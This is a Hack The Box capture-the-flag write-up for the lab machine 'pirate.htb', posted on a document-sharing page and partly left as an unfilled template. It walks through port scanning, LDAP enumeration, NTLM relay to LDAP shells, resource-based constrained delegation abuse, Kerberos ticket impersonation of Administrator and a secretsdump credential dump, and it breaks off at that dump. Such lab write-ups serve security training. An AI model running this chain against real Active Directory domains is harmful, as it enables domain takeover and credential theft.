The document is a write-up for a Hack The Box (HTB) machine named 'pirate.htb', detailing the attack chain from foothold to root access. It includes a comprehensive enumeration of open ports and services, along with various methods for gaining access, such as Kerberos and SMB authentication. Key findings indicate the presence of misconfigurations and the ability to exploit gMSA accounts for further access within the system.
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0 ratings0% found this document useful (0 votes)
5 views20 pages
Pirate
The document is a write-up for a Hack The Box (HTB) machine named 'pirate.htb', detailing the attack chain from foothold to root access. It includes a comprehensive enumeration of open ports and services, along with various methods for gaining access, such as Kerberos and SMB authentication. Key findings indicate the presence of misconfigurations and the ability to exploit gMSA accounts for further access within the system.
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
{{machine_name}} — HTB Writeup
Machine Info
Field Value OS {{os}} Difficulty {{difficulty}} Release Date {{release_date}} Retired {{retired_date}} Author l1ght
Summary Attack Chain
2-3 sentences. Foothold → User → Root. No spoilers of the interesting details — just the skeleton.
Enumeration Port Scan
rustscan --range 1-65535 -a [Link] -- -A
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-05 21:59:58Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios- ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: [Link], Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=[Link] | Subject Alternative Name: othername: [Link].[Link].1: <unsupported>, DNS:[Link] | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: [Link], Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=[Link] | Subject Alternative Name: othername: [Link].[Link].1: <unsupported>, DNS:[Link] | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
2179/tcp open vmrdp? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: [Link], Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=[Link] | Subject Alternative Name: othername: [Link].[Link].1: <unsupported>, DNS:[Link] | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd
2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49690/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49694/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49919/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 60434/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 60458/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Key findings:
Port xx — service — why it's interesting
enumeration looks like we have access to ldap and smb only
we can see here that our user is part of PRE-WINDOWS 2000 COMPATIBLE ACCES which is a legacy Active Directory group that exists for backwards compatibility with old Windows NT 4.0 and earlier systems. with this group we can actually enumerate certain groups, users , objects etc... (no auth required) in our case it's everyone on the domain further enumeration showed that there's a user that's controlled
which is by his end has forcepasswordreset to another user A.WHITE_ADM
so using nxc pre-built in model to hunt for misconfiguration there's actually 2 accounts that were found
and the output is a shell that we can connect to through [Link]:11002
[*] Servers started, waiting for connections
[*] (SMB): Received connection from [Link], attacking target ldap://[Link] [*] (SMB): Authenticating connection from PIRATE/WEB01$@[Link] against ldap://[Link] SUCCEED [1] [*] ldap://PIRATE/WEB01$@[Link] [1] -> Started interactive Ldap shell via TCP on [Link]:11000 as PIRATE/WEB01$ [*] (SMB): Received connection from [Link], attacking target ldap://[Link] [*] (SMB): Authenticating connection from PIRATE/WEB01$@[Link] against ldap://[Link] SUCCEED [2] [*] ldap://PIRATE/WEB01$@[Link] [2] -> Started interactive Ldap shell via TCP on [Link]:11001 as PIRATE/WEB01$ [*] (SMB): Received connection from [Link], attacking target ldap://[Link] [*] (SMB): Authenticating connection from PIRATE/WEB01$@[Link] against ldap://[Link] SUCCEED [3] [*] ldap://PIRATE/WEB01$@[Link] [3] -> Started interactive Ldap shell via TCP on [Link]:11002 as PIRATE/WEB01$ [*] (SMB): Received connection from [Link], attacking target ldap://[Link] [*] (SMB): Authenticating connection from PIRATE/WEB01$@[Link] against ldap://[Link] SUCCEED [4] [*] ldap://PIRATE/WEB01$@[Link] [4] -> Started interactive Ldap shell via TCP on [Link]:11003 as PIRATE/WEB01$ [*] (SMB): Received connection from [Link], attacking target ldap://[Link] [*] (SMB): Authenticating connection from /@[Link] against ldap://[Link] SUCCEED [5] [*] ldap:///@[Link] [5] -> Started interactive Ldap shell via TCP on [Link]:11004 as / [*] (SMB): Authenticating connection from /@[Link] against ldap://[Link] SUCCEED [6] [*] ldap:///@[Link] [6] -> Started interactive Ldap shell via TCP on [Link]:11005 as /
ldap Console was spawned successfully
❯ nc [Link] 11002 Type help for list of commands
# whoami u:PIRATE\WEB01$
now our mission is to fully take controle over WEB01$
# set_rbcd WEB01$ MS01$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb Target SID: S-1-
5-21-4107424128-4158083573-1300325248-3102 Found Grantee DN: CN=MS01,CN=Computers,DC=pirate,DC=htb Grantee SID: S-1-5-21-4107424128- 4158083573-1300325248-4102 Currently allowed sids: S-1-5-21-4107424128- 4158083573-1300325248-4108 S-1-5-21-4107424128-4158083573-1300325248- 3102 Delegation rights modified successfully! MS01$ can now impersonate users on WEB01$ via S4U2Proxy
That RBCD write means MS01$ is now the trusted impersonator on WEB01$ now all we have to do is impersonate administrator's account
❯ fkt impacket-getST [Link]/'MS01$':'ms01' -spn
cifs/[Link] -impersonate Administrator -dc-ip [Link] Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_WEB01.[Link]@[Link]
this grants us the admin's ticket
and then using wmiexec we can get a shell access as administrator
❯ export KRB5CCNAME=Administrator@cifs_WEB01.[Link]@[Link] ❯ fkt impacket-wmiexec -k -no-pass [Link] Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami pirate\administrator
this is only the user flag which can be found in C:\users\[Link]\desktop\
User Flag type C:\users\[Link]\desktop\[Link]
Privilege Escalation using secrets-dump built in tool in impacket we'll dump all the credentials of active users since our target is a.white_adm
❯ fkt impacket-secretsdump -k -no-pass [Link]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies